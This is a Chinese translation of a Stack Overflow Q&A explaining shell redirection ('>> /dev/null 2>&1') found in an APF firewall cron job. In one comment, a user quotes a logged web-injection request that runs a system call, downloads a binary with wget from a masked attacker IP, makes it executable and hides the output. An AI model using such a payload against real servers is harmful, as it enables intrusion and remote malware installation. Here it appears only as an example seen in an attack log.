什么是/ dev / null 2>&1?


237

我在/etc/cron.daily/apf中找到了这段代码

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

它正在刷新并重新加载防火墙。
我不明白那>> /dev/null 2>&1部分。

将它放在cron中的目的是什么?它覆盖了我的防火墙规则。我可以安全地删除此Cron作业吗?


1
仅供参考:使进程静音的更短方法是>&- 2>&-
Zaz

22
@Josh:为什么要使事情变得比现在更加神秘?
endlith 2013年

4
@Josh这将关闭各个FD,这可能会使程序中止。
glglgl 2014年

1
2>&1 > /dev/null一样的 > /dev/null 2>&1 ?对我来说似乎更自然……
edelans 2014年

6
@edelans否。那样会将stderr重定向到stdout,但是/dev/null仍然只输出原始stdout到—stderr。在gist.github.com/zigg/344361751c0110419b0f上
zigg 2015年

Answers:


354

>> /dev/null将标准输出(stdout)重定向到/dev/null,然后将其丢弃。

(这>>似乎是多余的,因为>>意味着追加而>意味着截断和写入,并且追加或写入/dev/null具有相同的净效果。我通常只是>出于这个原因使用。)

2>&1将标准错误(2)重定向到标准输出(1),然后也将其丢弃,因为标准输出已被重定向。


7
&符号在其中表示什么2>&1
没人

17
&表示文件描述符。通常有3个文件描述符-标准输入,输出和错误。
Testing123'123

1
@没人检查我在下面的回答你的问题stackoverflow.com/questions/10508843/what-is-dev-null-21/…–
Vishrant

1
如果&表示文件描述符,那么为什么2之前没有&?
user6708151

1
以防万一其他人没有阅读下面的答案来解释文件描述符:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain

199

让我们将>> /dev/null 2>&1语句分为几部分:


第1部分: >>输出重定向

这用于重定向程序输出,并将输出附加在文件末尾。更多...


第2部分: /dev/null特殊文件

这是一个伪设备专用文件

命令ls -l /dev/null将为您提供此文件的详细信息:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

你观察到了crw吗?这意味着它是伪设备文件,是字符特殊文件类型,可提供串行访问。

/dev/null接受并丢弃所有输入;不产生任何输出(总是在读取时返回文件结束指示)。参考:维基百科


第3部分: 2>&1文件描述符

每当您执行程序时,无论何时打开文件,操作系统都会始终打开三个文件,即标准输入,标准输出和标准错误,操作系统(来自内核)会返回一个称为文件描述符的非负整数。这些文件的文件描述符分别为0、1和2。

所以,2>&1简单地说,标准错误重定向到标准输出。

& 表示后面的内容是文件描述符,而不是文件名。

简而言之,通过使用此命令,您可以告诉程序在执行时不要大喊大叫。

使用的重要性是2>&1什么?

如果您不希望产生任何输出,即使终端中发生某些错误也是如此。为了更清楚地解释,让我们考虑以下示例:

$ ls -l > /dev/null

对于上述命令,终端中没有输出任何输出,但是如果此命令产生错误该怎么办:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

尽管我将输出重定向到/dev/null,但仍将其打印在终端中。这是因为我们没有将错误输出重定向到/dev/null,因此为了也重定向错误输出,需要添加2>&1

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
好的例子!不知道'>'之前不会重定向'STDERR'。
miao.wang

很好解释!非常丰富。谢谢。这将有助于我了解我最近遇到的Web攻击。攻击者通过包含以上代码的POST请求注入了一些恶意代码。
索赫尔·帕坦

1
@Vishrant注入的代码类似于:POST / user / password?name [%23post_render] [] = system&name [%23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http:/… > / dev / null 2>&1&HTTP / 1.1 xxx.xxx.xxx.xxx是攻击者的IP,在许多站点中也被列为滥用。首要的预防步骤是阻止防火墙中的IP以及此类IP的模式。攻击是在首页加载时重定向到第三方网站上。Apache服务器日志显示可疑的IP和请求。
索赫尔·帕坦

5
我只是想知道为什么我们也不在2之前也使用'&'。有人可以消除我的疑问吗?
Snehasish Karmakar,

1
@SnehasishKarmakar是一个合法的问题。我相信OS足够聪明,可以理解第一个参数将是文件描述符,但>它是重定向操作符,重定向操作符后面的任何内容都应是&在之前添加的文件位置,1指示它不是应用程序必须重定向输出的文件,而是文件描述符。如果有人可以添加此评论的更多详细信息,我将不胜感激。
Vishrant

58

这是安静地执行程序并隐藏其所有输出的方法。

/dev/null是一个特殊的文件系统对象,它丢弃写入其中的所有内容。将流重定向到其中意味着隐藏程序的输出。

2>&1部分的意思是“将错误流重定向到输出流”,因此,当您重定向输出流时,错误流也会被重定向。即使您的程序stderr现在写入,该输出也会被丢弃。


37
实际上,2>&1实际上是重定向stderrstdout。交换重定向的顺序(例如)可以最好地说明此声明与您声明的区别2>&1 >/dev/null
zigg 2012年

15

/dev/null 是一个标准文件,该文件将放弃所有写入操作,但会报告写入操作成功。

1是标准输出,2是标准错误。

2>&1将标准错误重定向到标准输出。&1表示文件描述符(标准输出),否则(如果仅使用1),则将标准错误重定向到名为的文件1[any command] >>/dev/null 2>&1将所有标准错误重定向到标准输出,并将所有错误写入/dev/null


7

我用>> /dev/null 2>&1沉默的cronjob。cronjob可以完成这项工作,但不会将报告发送到我的电子邮件中。

据我所知,不要删除/dev/null。这很有用,尤其是在运行cPanel时,它可用于一次性cronjob报告。


2

如其他人所述,写入/ dev / null会消除程序的输出。通常,cron为以cronjob开头的进程的每个输出发送电子邮件。因此,如果在cron中指定了地址,则通过将输出写入/ dev / null可以防止垃圾邮件。


0

编辑/etc/conf.apf。设置DEVEL_MODE="0"DEVEL_MODE设置为1将添加cron作业以在5分钟后停止apf。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.